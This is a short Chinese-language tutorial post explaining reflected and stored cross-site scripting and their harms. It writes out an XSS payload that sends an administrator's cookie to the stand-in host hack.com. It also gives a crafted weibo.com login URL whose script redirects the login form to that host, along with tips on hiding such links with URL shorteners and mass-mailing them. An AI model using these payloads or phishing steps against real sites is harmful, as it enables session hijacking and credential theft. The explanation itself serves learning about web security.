谈论XSS(一)
XSS 叫跨站脚本攻击(Cross Site Script),那么XSS原本应该叫做CSS,但是由于CSS的简称已经被连级样式表 使用了,所以就换个称谓XSS。
为什么叫做跨站脚本攻击呢?
它的意思就是在别人的网站上嵌入脚本,而这个脚本原本不是属于这个网站的。这个解释很直观吧。
怎么嵌入脚本呢?
比如这么个搜索结果页,当用户搜索test的时候,页面会显示“搜索关键词:test”
这个时候,这里的test就很有可能会出现xss漏洞,如果该页面是直接将用户输入的东西“返回”到页面上,那么存在的xss漏洞就可以这样利用:
输入:<script>alert(1);</scrip>
那么页面就会跳出alert(1);
这种XSS叫做反射性XSS。
再谈论另外一种场景,每个网站都有反馈框。允许用户反馈数据给后台。
而这个后台一般都是管理员进行审核,会在管理后台展示。
如果一个<script>var x=new Image(); x.src=”http://hack.com?cookie=”+document.cookie;</script>的反馈数据由用户输入
然后这个数据“直接”返回到管理后台上,那么这个时候,管理后台管理员的cookie就被作为参数传递到http://hack.com 了。后面黑客就可以使用cookie来做登录管理后台了。
这种XSS由于攻击代码存储进数据库了,所以叫做存储型XSS。
危害
一般来说,存储型XSS的危害性大于反射型XSS。因为反射型XSS只会影响到自己,而存储型的XSS可能会影响到网站的其他用户。
XSS可以如上面例子说的:
1 盗取cookie
2 钓鱼
比如我将一段代码注入进某个网站的支付页面,这段js代码做的事情是,动态控制这个支付页面的Form表单,比如将这个form表单的html替换成目标网站一个相似的html。
或者另一个案例是使用反射型XSS,我预先生成一个url,这个url是一个有反射型xss漏洞的页面。比如
document.getElementById("loginForm").action="http://hack.com"http://weibo.com/login?username=<script>document.getElementById("loginForm").action="http://hack.com"</script>
然后我将这个页面通过企鹅的群邮件发给企鹅群中的所有人,一旦有人点击这个链接,那么就会进入微博登陆页,万一再输入用户名密码,那么这个人的用户名密码就会被盗了。当然,这个案例有个问题,url太假了,怎么办?短链接服务。现在有很多厂商提供了短连接的服务。那么最后的链接是实际看不出来问题的。
3 DDOS攻击
当然这个前提是有大量用户已经被XSS攻击了,所以他们浏览的页面已经被植入了代码,这个代码的作用就是循环向一个网站发送请求,如果有xss漏洞的这个网站是有大量用户的,比如微博,那么后一个被DDOS攻击的网站就真心惨了。
总之,XSS的危害就在于网站的页面可以被随意嵌入js代码。